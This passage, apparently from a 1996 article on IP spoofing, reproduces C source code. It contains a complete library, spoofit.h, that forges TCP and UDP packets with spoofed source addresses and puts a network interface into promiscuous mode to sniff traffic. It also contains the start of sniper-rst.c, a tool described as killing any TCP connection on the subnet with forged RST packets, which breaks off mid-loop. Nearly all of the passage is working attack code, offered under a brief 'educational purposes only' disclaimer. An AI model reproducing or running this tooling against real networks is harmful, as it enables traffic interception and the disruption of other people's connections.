5. The source code
------------------

---=[ spoofit.h ]=------------------------------------------------------------
/**************************************************************************/
/* Spoofit.h - Include file for easy creating of spoofed TCP packets      */
/*             Requires LINUX 1.3.x (or later) Kernel                     */
/*             (illustration for 'A short overview of IP spoofing')       */
/*             V.1 - Copyright 1996 - Brecht Claerhout                    */
/*                                                                        */
/*  Purpose - Providing skilled people with a easy to use spoofing source */
/*            I used it to be able to write my tools fast and short.      */
/*            Mind you this is only illustrative and can be easily        */
/*            optimised.                                                  */
/*                                                                        */
/*  Author - Brecht Claerhout <Coder@reptile.rug.ac.be>                   */
/*           Serious advice, comments, statements, greets, always welcome */
/*           flames, moronic 3l33t >/dev/null                             */
/*                                                                        */
/*  Disclaimer - This file is for educational purposes only. I am in      */
/*               NO way responsible for what you do with this file,       */
/*               or any damage you or this file causes.                   */
/*                                                                        */
/*  For whom - People with a little knowledge of TCP/IP, C source code    */
/*             and general UNIX. Otherwise, please keep your hands of,    */
/*             and catch up on those things first.                        */
/*                                                                        */
/*  Limited to - Linux 1.3.X or higher.                                   */
/*               If you know a little about your OS, shouldn't be to hard */
/*               to port.                                                 */
/*                                                                        */
/* Important note - You might have noticed I use non standard packet      */
/*                  header struct's. How come?? Because I started like    */
/*                  that on Sniffit because I wanted to do the            */
/*                  bittransforms myself.                                 */
/*                  Well I got so damned used to them, I keep using them, */
/*                  they are not very different, and not hard to use, so  */
/*                  you'll easily use my struct's without any problem,    */
/*                  this code and the examples show how to use them.      */
/*                  my apologies for this inconvenience.                  */
/*                                                                        */
/* None of this code can be used in commercial software. You are free to  */
/* use it in any other non-commercial software (modified or not) as long  */
/* as you give me the credits for it. You can spread this include file,   */
/* but keep it unmodified.                                                */
/*                                                                        */
/**************************************************************************/
/*                                                                        */
/* Easiest way to understand this library is to look at the use of it, in */
/* the example progs.                                                     */
/*                                                                        */
/**** Sending packets *****************************************************/
/*                                                                        */
/* int open_sending (void)                                                */
/*   Returns a filedescriptor to the sending socket.                      */
/*   close it with close (int filedesc)                                   */
/*                                                                        */
/* void transmit_TCP (int sp_fd, char *sp_data,                           */
/*                    int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,  */
/*                    char *sp_source, unsigned short sp_source_port,     */
/*                    char *sp_dest,unsigned short sp_dest_port,          */
/*                    unsigned long sp_seq, unsigned long sp_ack,         */
/*                    unsigned short sp_flags)                            */
/*   fire data away in a TCP packet                                       */
/*    sp_fd         : raw socket filedesc.                                */
/*    sp_data       : IP options (you should do the padding)              */
/*                    TCP options (you should do the padding)             */
/*                    data to be transmitted                              */
/*                    (NULL is nothing)                                   */
/*                    note that all is optional, and IP en TCP options are*/
/*                    not often used.                                     */
/*                    All data is put after eachother in one buffer.      */
/*    sp_ipoptlen   : length of IP options (in bytes)                     */
/*    sp_tcpoptlen  : length of TCP options (in bytes)                    */
/*    sp_datalen    : amount of data to be transmitted (bytes)            */
/*    sp_source     : spoofed host that"sends packet"                     */
/*    sp_source_port: spoofed port that "sends packet"                    */
/*    sp_dest       : host that should receive packet                     */
/*    sp_dest_port  : port that should receive packet                     */
/*    sp_seq        : sequence number of packet                           */
/*    sp_ack        : ACK of packet                                       */
/*    sp_flags      : flags of packet (URG,ACK,PSH,RST,SYN,FIN)           */
/*                                                                        */
/* void transmit_UDP (int sp_fd, char *sp_data,                           */
/*                    int sp_ipoptlen, int sp_datalen,                    */
/*                    char *sp_source, unsigned short sp_source_port,     */
/*                    char *sp_dest, unsigned short sp_dest_port)         */
/*   fire data away in an UDP packet                                      */
/*    sp_fd         : raw socket filedesc.                                */
/*    sp_data       : IP options                                          */
/*                    data to be transmitted                              */
/*                    (NULL if none)                                      */
/*    sp_ipoptlen   : length of IP options (in bytes)                     */
/*    sp_datalen    : amount of data to be transmitted                    */
/*    sp_source     : spoofed host that"sends packet"                     */
/*    sp_source_port: spoofed port that "sends packet"                    */
/*    sp_dest       : host that should receive packet                     */
/*    sp_dest_port  : port that should receive packet                     */
/*                                                                        */
/**** Receiving packets ***************************************************/
/*                                                                        */
/* int open_receiving (char *rc_device, char mode)                        */
/*   Returns fdesc to a receiving socket                                  */
/*        (if mode: IO_HANDLE don't call this twice, global var           */
/*         rc_fd_abc123 is  initialised)                                  */
/*     rc_device: the device to use e.g. "eth0", "ppp0"                   */
/*                be sure to change DEV_PREFIX accordingly!               */
/*                DEV_PREFIX is the length in bytes of the header that    */
/*                comes with a SOCKET_PACKET due to the network device    */
/*     mode: 0: normal mode, blocking, (read will wait till packet        */
/*           comes, mind you, we are in PROMISC mode)                     */
/*           IO_NONBLOCK: non-blocking mode (read will not wait till      */
/*           usefull for active polling)                                  */
/*           IO_HANDLE installs the signal handler that updates SEQ,ACK,..*/
/*           (IO_HANDLE is not recommended to use, as it should be        */
/*           modified according to own use, and it works bad on heavy     */
/*           traffic continuous monitoring. I needed it once, but left it */
/*           in to make you able to have a look at Signal handled IO,     */
/*           personally I would have removed it, but some thought it      */
/*           doesn't do any harm anyway, so why remove... )               */
/*           (I'm not giving any more info on IO_HANDLE as it is not      */
/*           needed for the example programs, and interested people can   */
/*           easilythey figure the code out theirselves.)                 */
/*           (Besides IO_HANDLE can only be called ONCE in a program,     */
/*           other modes multiple times)                                  */
/*                                                                        */
/* int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,           */
/*                 unsigned char *proto)                                  */
/*        This waits for a packet (mode default) and puts it in buffer or */
/*        returns whether there is a pack or not (IO_NONBLOCK).           */
/*        It returns the packet length if there is one available, else 0  */
/*                                                                        */
/* int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,           */
/*                  char *wp_source, unsigned short wp_source_port,       */
/*                  char *wp_dest, unsigned short wp_dest_port,           */
/*                  int wp_flags, int wait_time);                         */
/*   wp_fd: a receiving socket (default or IO_NONBLOCK)                   */
/*   ret_values: pointer to a sp_wait_packet struct, that contains SEQ,   */
/*               ACK, flags, datalen of that packet. For further packet   */
/*               handling see the examples.                               */
/*                  struct sp_wait_packet  {                              */
/*                      unsigned long seq,ack;                            */
/*                      unsigned short flags;                             */
/*                      int datalen;                                      */
/*                      };                                                */
/*   wp_source, wp_source_port : sender of packet                         */
/*   wp_dest, wp_dest_port     : receiver of packet                       */
/*   wp_flags: flags that should be present in packet.. (mind you there   */
/*             could be more present, so check on return)                 */
/*             note: if you don't care about flag, use 0                  */
/*   wait_time: if not zero, this function will return -1 if no correct   */
/*              packet has arrived within wait_time secs.                 */
/*              (only works on IO_NONBLOCK socket)                        */
/*                                                                        */
/* void set_filter (char *f_source, unsigned short f_source_port,         */
/*                  char *f_dest, unsigned short f_dest_port)             */
/*        (for use with IO_HANDLE)                                        */
/*        Start the program to watch all trafic from source/port to       */
/*        dest/port. This enables the updating of global data. Can        */
/*        be called multiple times.                                       */
/*                                                                        */
/* void close_receiving (void)                                            */
/*           When opened a IO_HANDLE mode receiving socket close it with  */
/*           this.                                                        */
/*                                                                        */
/**** Global DATA (IO_HANDLE mode) ****************************************/
/*                                                                        */
/* When accessing global data, copy the values to local vars and then use */
/* them. Reduce access time to a minimum.                                 */
/* Mind you use of this is very limited, if you are a novice on IO, just  */
/* ignore it, the other functions are good enough!). If not, rewrite the  */
/* handler for your own use...                                            */
/*                                                                        */
/* sig_atomic_t SP_DATA_BUSY                                              */
/*        Put this on NON-ZERO when accesing global data. Incoming        */
/*        packets will be ignored then, data can not be overwritten.      */
/*                                                                        */
/* unsigned long int CUR_SEQ, CUR_ACK;                                    */
/*        Last recorded SEQ and ACK number of the filtered "stream".      */
/*        Before accessing this data set SP_DATA_BUSY non-zero,           */
/*        afterward set it back to zero.                                  */
/*                                                                        */
/* unsigned long int CUR_COUNT;                                           */
/*        increased everytime other data is updated                       */
/*                                                                        */
/* unsigned int CUR_DATALEN;                                              */
/*        Length of date in last TCP packet                               */
/*                                                                        */
/**************************************************************************/

#include "sys/socket.h"       /* includes, what would we do without them  */
#include "netdb.h"
#include "stdlib.h"
#include "unistd.h"
#include "stdio.h"
#include "errno.h"
#include "netinet/in.h"
#include "netinet/ip.h"
#include "linux/if.h"
#include "sys/ioctl.h"
#include "sys/types.h"
#include "signal.h"
#include "fcntl.h"

#undef  DEBUG
#define IP_VERSION      4                 /* keep y'r hands off...         */
#define MTU             1500
#define IP_HEAD_BASE    20                /* using fixed lengths to send   */
#define TCP_HEAD_BASE   20                /* no options etc...             */
#define UDP_HEAD_BASE   8                 /* Always fixed                  */

#define IO_HANDLE       1
#define IO_NONBLOCK     2

int DEV_PREFIX = 9999;
sig_atomic_t WAIT_PACKET_WAIT_TIME=0;

/**** IO_HANDLE ************************************************************/
int rc_fd_abc123;
sig_atomic_t RC_FILTSET=0;
char rc_filter_string[50];                       /* x.x.x.x.p-y.y.y.y.g  */

sig_atomic_t SP_DATA_BUSY=0;
unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0;
unsigned int CUR_DATALEN;
unsigned short CUR_FLAGS;
/***************************************************************************/

struct sp_wait_packet
{
        unsigned long seq,ack;
        unsigned short flags;
        int datalen;
};

/* Code from Sniffit - BTW my own program.... no copyright violation here */
#define URG 32       /* TCP flags */
#define ACK 16
#define PSH 8
#define RST 4
#define SYN 2
#define FIN 1

struct PACKET_info
{
        int len, datalen;
        unsigned long int seq_nr, ACK_nr;
        u_char FLAGS;
};

struct IP_header                        /* The IPheader (without options) */
{
        unsigned char verlen, type;
        unsigned short length, ID, flag_offset;
        unsigned char TTL, protocol;
        unsigned short checksum;
        unsigned long int source, destination;
};

struct TCP_header                     /* The TCP header (without options) */
{
        unsigned short source, destination;
        unsigned long int seq_nr, ACK_nr;
        unsigned short offset_flag, window, checksum, urgent;
};

struct UDP_header                                      /* The UDP header */
{
        unsigned short source, destination;
        unsigned short length, checksum;
};

struct pseudo_IP_header          /* The pseudo IP header (checksum calc) */
{
        unsigned long int source, destination;
        char zero_byte, protocol;
        unsigned short TCP_UDP_len;
};

/* data structure for argument passing  */

struct sp_data_exchange {
        int fd;                                /* Sh!t from transmit_TCP  */
        char *data;
        int datalen;
        char *source; unsigned short source_port;
        char *dest;   unsigned short dest_port;
        unsigned long seq, ack;
        unsigned short flags;

        char *buffer;               /* work buffer */

        int IP_optlen;             /* IP options length in bytes  */
        int TCP_optlen;            /* TCP options length in bytes */
        };

/**************** all functions  *******************************************/
void transmit_TCP (int fd, char *sp_data,
                           int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
                           char *sp_source, unsigned short sp_source_port,
                           char *sp_dest, unsigned short sp_dest_port,
                           unsigned long sp_seq, unsigned long sp_ack,
                           unsigned short sp_flags);

void transmit_UDP (int sp_fd, char *sp_data,
                           int  ipoptlen, int sp_datalen,
                           char *sp_source, unsigned short sp_source_port,
                           char *sp_dest, unsigned short sp_dest_port);

int get_packet (int rc_fd, char *buffer, int *, unsigned char*);
int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int);

static unsigned long sp_getaddrbyname(char *);

int open_sending (void);
int open_receiving (char *, char);
void close_receiving (void);

void sp_send_packet (struct sp_data_exchange *, unsigned char);
void sp_fix_TCP_packet (struct sp_data_exchange *);
void sp_fix_UDP_packet (struct sp_data_exchange *);
void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char);
unsigned short in_cksum(unsigned short *, int );

void rc_sigio (int);
void set_filter (char *, unsigned short, char *, unsigned short);

/********************* let the games commence ****************************/

static unsigned long sp_getaddrbyname(char *sp_name)
{
struct hostent *sp_he;
int i;

if(isdigit(*sp_name))
  return inet_addr(sp_name);

for(i=0;i<100;i++)
     {
     if(!(sp_he = gethostbyname(sp_name)))
        {printf("WARNING: gethostbyname failure!\n");
        sleep(1);
        if(i>=3)       /* always a retry here in this kind of application */
           printf("Coudn't resolv hostname."), exit(1);
        }
     else break;
     }
return sp_he ? *(long*)*sp_he->h_addr_list : 0;
}

int open_sending (void)
{
struct protoent *sp_proto;
int sp_fd;
int dummy=1;

/* they don't come rawer */
if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1)
        perror("Couldn't open Socket."), exit(1);

#ifdef DEBUG
        printf("Raw socket ready\n");
#endif
return sp_fd;
}

void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto)
{
int sp_status;
struct sockaddr_in sp_server;
struct hostent *sp_help;
int HEAD_BASE;

/* Construction of destination */
bzero((char *)&sp_server, sizeof(struct sockaddr));
sp_server.sin_family = AF_INET;
sp_server.sin_addr.s_addr = inet_addr(sp->dest);
if (sp_server.sin_addr.s_addr == (unsigned int)-1)
        {                      /* if target not in DOT/number notation */
        if (!(sp_help=gethostbyname(sp->dest)))
          fprintf(stderr,"unknown host %s\n", sp->dest), exit(1);
        bcopy(sp_help->h_addr, (caddr_t)&sp_server.sin_addr, sp_help->h_length);
        };

switch(proto)
        {
        case 6: HEAD_BASE = TCP_HEAD_BASE;  break;                  /* TCP */
        case 17: HEAD_BASE = UDP_HEAD_BASE; break;                  /* UDP */
        default: exit(1); break;
        };
sp_status = sendto(sp->fd, (char *)(sp->buffer), sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen, 0,
                        (struct sockaddr *)&sp_server,sizeof(struct sockaddr));
if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen)
        {
        if (sp_status < 0)
          perror("Sendto"), exit(1);
        printf("hmm... Only transmitted %d of %d bytes.\n", sp_status,
                                                sp->datalen+HEAD_BASE);
        };
#ifdef DEBUG
        printf("Packet transmitted...\n");
#endif
}

void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto)
{
struct IP_header *sp_help_ip;
int HEAD_BASE;

switch(proto)
        {
        case 6: HEAD_BASE = TCP_HEAD_BASE;  break;                  /* TCP */
        case 17: HEAD_BASE = UDP_HEAD_BASE; break;                  /* UDP */
        default: exit(1); break;
        };

sp_help_ip = (struct IP_header *) (sp->buffer);
sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4);
sp_help_ip->type = 0;
sp_help_ip->length = htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp->IP_optlen+sp->TCP_optlen);
sp_help_ip->ID = htons(12545);                                  /* TEST */
sp_help_ip->flag_offset = 0;
sp_help_ip->TTL = 69;
sp_help_ip->protocol = proto;
sp_help_ip->source = sp_getaddrbyname(sp->source);
sp_help_ip->destination =  sp_getaddrbyname(sp->dest);
sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer),
                                                IP_HEAD_BASE+sp->IP_optlen);
#ifdef DEBUG
        printf("IP header fixed...\n");
#endif
}

void sp_fix_TCP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct TCP_header *sp_help_tcp;
struct pseudo_IP_header *sp_help_pseudo;
int i;

for(i=0;i<MTU;i++)
  {sp_pseudo_ip_construct[i]=0;}

sp_help_tcp = (struct TCP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;

sp_help_tcp->offset_flag = htons( (((TCP_HEAD_BASE+sp->TCP_optlen)/4)<<12) | sp->flags);
sp_help_tcp->seq_nr = htonl(sp->seq);
sp_help_tcp->ACK_nr = htonl(sp->ack);
sp_help_tcp->source = htons(sp->source_port);
sp_help_tcp->destination = htons(sp->dest_port);
sp_help_tcp->window = htons(0x7c00);             /* dummy for now 'wujx' */

sp_help_pseudo->source = sp_getaddrbyname(sp->source);
sp_help_pseudo->destination =  sp_getaddrbyname(sp->dest);
sp_help_pseudo->zero_byte = 0;
sp_help_pseudo->protocol = 6;
sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+TCP_HEAD_BASE+sp->TCP_optlen);

memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp->TCP_optlen+sp->datalen+TCP_HEAD_BASE);
sp_help_tcp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
                                  sp->datalen+12+TCP_HEAD_BASE+sp->TCP_optlen);
#ifdef DEBUG
        printf("TCP header fixed...\n");
#endif
}

void transmit_TCP (int sp_fd, char *sp_data,
                           int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
                           char *sp_source, unsigned short sp_source_port,
                           char *sp_dest, unsigned short sp_dest_port,
                           unsigned long sp_seq, unsigned long sp_ack,
                           unsigned short sp_flags)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;

bzero(sp_buffer,1500);
if (sp_ipoptlen!=0)
        memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);

if (sp_tcpoptlen!=0)
        memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen,
                                            sp_data+sp_ipoptlen,sp_tcpoptlen);
if (sp_datalen!=0)
        memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen,
                        sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen);

sp_struct.fd          = sp_fd;
sp_struct.data        = sp_data;
sp_struct.datalen     = sp_datalen;
sp_struct.source      = sp_source;
sp_struct.source_port = sp_source_port;
sp_struct.dest        = sp_dest;
sp_struct.dest_port   = sp_dest_port;
sp_struct.seq         = sp_seq;
sp_struct.ack         = sp_ack;
sp_struct.flags       = sp_flags;
sp_struct.buffer      = sp_buffer;
sp_struct.IP_optlen   = sp_ipoptlen;
sp_struct.TCP_optlen  = sp_tcpoptlen;

sp_fix_TCP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 6);
sp_send_packet(&sp_struct, 6);
}

void sp_fix_UDP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct UDP_header *sp_help_udp;
struct pseudo_IP_header *sp_help_pseudo;
int i;

for(i=0;i<MTU;i++)
  {sp_pseudo_ip_construct[i]=0;}

sp_help_udp = (struct UDP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;

sp_help_udp->source = htons(sp->source_port);
sp_help_udp->destination = htons(sp->dest_port);
sp_help_udp->length =  htons(sp->datalen+UDP_HEAD_BASE);

sp_help_pseudo->source = sp_getaddrbyname(sp->source);
sp_help_pseudo->destination =  sp_getaddrbyname(sp->dest);
sp_help_pseudo->zero_byte = 0;
sp_help_pseudo->protocol = 17;
sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+UDP_HEAD_BASE);

memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp->datalen+UDP_HEAD_BASE);
sp_help_udp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
                                                     sp->datalen+12+UDP_HEAD_BASE);
#ifdef DEBUG
        printf("UDP header fixed...\n");
#endif
}

void transmit_UDP (int sp_fd, char *sp_data,
                           int sp_ipoptlen, int sp_datalen,
                           char *sp_source, unsigned short sp_source_port,
                           char *sp_dest, unsigned short sp_dest_port)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;

bzero(sp_buffer,1500);

if (sp_ipoptlen!=0)
        memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
if (sp_data!=NULL)
        memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen,
                                             sp_data+sp_ipoptlen,sp_datalen);
sp_struct.fd          = sp_fd;
sp_struct.data        = sp_data;
sp_struct.datalen     = sp_datalen;
sp_struct.source      = sp_source;
sp_struct.source_port = sp_source_port;
sp_struct.dest        = sp_dest;
sp_struct.dest_port   = sp_dest_port;
sp_struct.buffer      = sp_buffer;
sp_struct.IP_optlen   = sp_ipoptlen;
sp_struct.TCP_optlen  = 0;

sp_fix_UDP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 17);
sp_send_packet(&sp_struct, 17);
}

/* This routine stolen from ping.c -- HAHAHA!*/
unsigned short in_cksum(unsigned short *addr,int len)
{
register int nleft = len;
register unsigned short *w = addr;
register int sum = 0;
unsigned short answer = 0;

while (nleft > 1)
        {
        sum += *w++;
        nleft -= 2;
        }
if (nleft == 1)
        {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
        }
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}

/************************* Receiving department  ****************************/

int open_receiving (char *rc_device, char mode)
{
int or_fd;
struct sigaction rc_sa;
int fcntl_flag;
struct ifreq ifinfo;
char test;

/* create snoop socket and set interface promisc */
if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1)
        perror("Couldn't open Socket."), exit(1);
strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device);
if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0)
        perror("Couldn't get flags."), exit(1);
ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC;
if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0)
        perror("Couldn't set flags. (PROMISC)"), exit(1);

if(mode&IO_HANDLE)
        {               /* install handler */
        rc_sa.sa_handler=rc_sigio;        /* we don't use signal()        */
        sigemptyset(&rc_sa.sa_mask);      /* because the timing window is */
        rc_sa.sa_flags=0;                 /* too big...                   */
        sigaction(SIGIO,&rc_sa,NULL);
        }

if(fcntl(or_fd,F_SETOWN,getpid())<0)
        perror("Couldn't set ownership"), exit(1);

if(mode&IO_HANDLE)
        {
        if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
                perror("Couldn't get FLAGS"), exit(1);
        if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0)
                perror("Couldn't set FLAGS"), exit(1);
        rc_fd_abc123=or_fd;
        }
else
        {
        if(mode&IO_NONBLOCK)
                {
                if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
                        perror("Couldn't get FLAGS"), exit(1);
                if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0)
                        perror("Couldn't set FLAGS"), exit(1);
                };
        };

#ifdef DEBUG
        printf("Reading socket ready\n");
#endif
return or_fd;
}

/* returns 0 when no packet read!  */
int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned  char *proto)
{
char help_buffer[MTU];
int pack_len;
struct IP_header *gp_IPhead;

pack_len = read(rc_fd,help_buffer,1500);
if(pack_len<0)
        {
        if(errno==EWOULDBLOCK)
                {pack_len=0;}
        else
                {perror("Read error:"); exit(1);}
        };
if(pack_len>0)
        {
        pack_len -= DEV_PREFIX;
        memcpy(buffer,help_buffer+DEV_PREFIX,pack_len);
        gp_IPhead = (struct IP_header *) buffer;
        if(proto != NULL)
                *proto = gp_IPhead->protocol;
        if(TCP_UDP_start != NULL)
                *TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2;
        }
return pack_len;
}

void wait_packet_timeout (int sig)
{
alarm(0);
WAIT_PACKET_WAIT_TIME=1;
}

int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,
                char *wp_source, unsigned short wp_source_port,
                char *wp_dest, unsigned short wp_dest_port, int wp_flags,
                int wait_time)
{
char wp_buffer[1500];
struct IP_header *wp_iphead;
struct TCP_header *wp_tcphead;
unsigned long wp_sourcel, wp_destl;
int wp_tcpstart;
char wp_proto;

wp_sourcel=sp_getaddrbyname(wp_source);
wp_destl=sp_getaddrbyname(wp_dest);

WAIT_PACKET_WAIT_TIME=0;
if(wait_time!=0)
        {
        signal(SIGALRM,wait_packet_timeout);
        alarm(wait_time);
        }

while(1)
  {
  while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0)
        {
        if (WAIT_PACKET_WAIT_TIME!=0)   {alarm(0); return -1;}
        };
  if(wp_proto == 6)
    {
    wp_iphead= (struct IP_header *) wp_buffer;
    wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart);
    if( (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead->destination) )
      {
      if( (ntohs(wp_tcphead->source)==wp_source_port) &&
                               (ntohs(wp_tcphead->destination)==wp_dest_port) )
        {
        if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) )
          {
          ret_values->seq=ntohl(wp_tcphead->seq_nr);
          ret_values->ack=ntohl(wp_tcphead->ACK_nr);
          ret_values->flags=ntohs(wp_tcphead->offset_flag)&
                                                (URG|ACK|PSH|FIN|RST|SYN);
          ret_values->datalen = ntohs(wp_iphead->length) -
                           ((wp_iphead->verlen & 0xF) << 2) -
                            ((ntohs(wp_tcphead->offset_flag) & 0xF000) >> 10);
          alarm(0);
          return 0;
          }
        }
      }
    }
  }
/*impossible to get here.. but anyways*/
alarm(0); return -1;
}


void close_receiving (void)
{
close(rc_fd_abc123);
}

void rc_sigio (int sig)                     /* Packet handling routine */
{
char rc_buffer[1500];
char packet_id [50];
unsigned char *rc_so, *rc_dest;
struct IP_header *rc_IPhead;
struct TCP_header *rc_TCPhead;
int pack_len;

if(RC_FILTSET==0) return;

if(SP_DATA_BUSY!=0)              /* skip this packet */
        return;

pack_len = read(rc_fd_abc123,rc_buffer,1500);
rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX);
if(rc_IPhead->protocol!=6) return;                          /* if not TCP */
rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead->verlen & 0xF) << 2));

rc_so   = (unsigned char *) &(rc_IPhead->source);
rc_dest = (unsigned char *) &(rc_IPhead->destination);
sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
              rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source),
              rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead->destination));
        
if(strcmp(packet_id,rc_filter_string)==0)
        {
        SP_DATA_BUSY=1;
        CUR_SEQ = ntohl(rc_TCPhead->seq_nr);
        CUR_ACK = ntohl(rc_TCPhead->ACK_nr);
        CUR_FLAGS = ntohs(rc_TCPhead->offset_flag);
        CUR_DATALEN = ntohs(rc_IPhead->length) -
                      ((rc_IPhead->verlen & 0xF) << 2) -
                      ((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10);
        CUR_COUNT++;
        SP_DATA_BUSY=0;
        }
}

void set_filter (char *f_source, unsigned short f_source_port,
                 char *f_dest, unsigned short f_dest_port)
{
unsigned char *f_so, *f_des;
unsigned long f_sol, f_destl;

RC_FILTSET=0;
if(DEV_PREFIX==9999)
        fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1);
f_sol   = sp_getaddrbyname(f_source);
f_destl = sp_getaddrbyname(f_dest);
f_so    = (unsigned char *) &f_sol;
f_des   = (unsigned char *) &f_destl;
sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
                              f_so[0],f_so[1],f_so[2],f_so[3],f_source_port,
                              f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port);
RC_FILTSET=1;
}

------------------------------------------------------------------------------

---=[ sniper-rst.c ]=---------------------------------------------------------
/**************************************************************************/
/*  Sniper-rst - Example program on connection killing with IP spoofing   */
/*               Using the RST flag.                                      */
/*               (illustration for 'A short overview of IP spoofing')     */
/*                                                                        */
/*  Purpose - Killing any TCP connection on your subnet                   */
/*                                                                        */
/*  Author - Brecht Claerhout <Coder@reptile.rug.ac.be>                   */
/*           Serious advice, comments, statements, greets, always welcome */
/*           flames, moronic 3l33t >/dev/null                             */
/*                                                                        */
/*  Disclaimer - This program is for educational purposes only. I am in   */
/*               NO way responsible for what you do with this program,    */
/*               or any damage you or this program causes.                */
/*                                                                        */
/*  For whom - People with a little knowledge of TCP/IP, C source code    */
/*             and general UNIX. Otherwise, please keep your hands of,    */
/*             and catch up on those things first.                        */
/*                                                                        */
/*  Limited to - Linux 1.3.X or higher.                                   */
/*               ETHERNET support ("eth0" device)                         */
/*               If you network configuration differs it shouldn't be to  */
/*               hard to modify yourself. I got it working on PPP too,    */
/*               but I'm not including extra configuration possibilities  */
/*               because this would overload this first release that is   */
/*               only a demonstration of the mechanism.                   */
/*               Anyway if you only have ONE network device (slip,        */
/*               ppp,... ) after a quick look at this code and spoofit.h  */
/*               it will only take you a few secs to fix it...            */
/*               People with a bit of C knowledge and well known with     */
/*               their OS shouldn't have to much trouble to port the code.*/
/*               If you do, I would love to get the results.              */
/*                                                                        */
/*  Compiling - gcc -o sniper-rst sniper-rst.c                            */
/*                                                                        */
/*  Usage - Usage described in the spoofing article that came with this.  */
/*          If you didn't get this, try to get the full release...        */
/*                                                                        */
/*  See also - Sniffit (for getting the necessairy data on a connection)  */
/**************************************************************************/

#include "spoofit.h"

/* Those 2 'defines' are important for putting the receiving device in  */
/* PROMISCUOUS mode                                                     */
#define INTERFACE       "eth0"
#define INTERFACE_PREFIX 14

char SOURCE[100],DEST[100];
int SOURCE_P,DEST_P;

void main(int argc, char *argv[])
{
int i,stat,j;
int fd_send, fd_receive;
unsigned long sp_ack, sp_seq;
unsigned short flags;
struct sp_wait_packet pinfo;

if(argc != 5)
        {
        printf("usage: %s host1 port1 host2 port2\n",argv[0]);
        exit(0);
        }

/* preparing some work */
DEV_PREFIX = INTERFACE_PREFIX;
strcpy(SOURCE,argv[1]);
SOURCE_P=atoi(argv[2]);
strcpy(DEST,argv[3]);
DEST_P=atoi(argv[4]);

/* opening sending and receiving sockets */
fd_send = open_sending();
fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */

printf("Trying to terminate the connection\n");

for(i=1;i<=100;i++)
  {
  /* Waiting for a packet containing an ACK */
  stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,5);
  if(stat==-1)  {printf("Connection 5 secs idle or dead...\n");exit(1);}
  sp_seq=pinfo.ack;
  sp_ack=0;
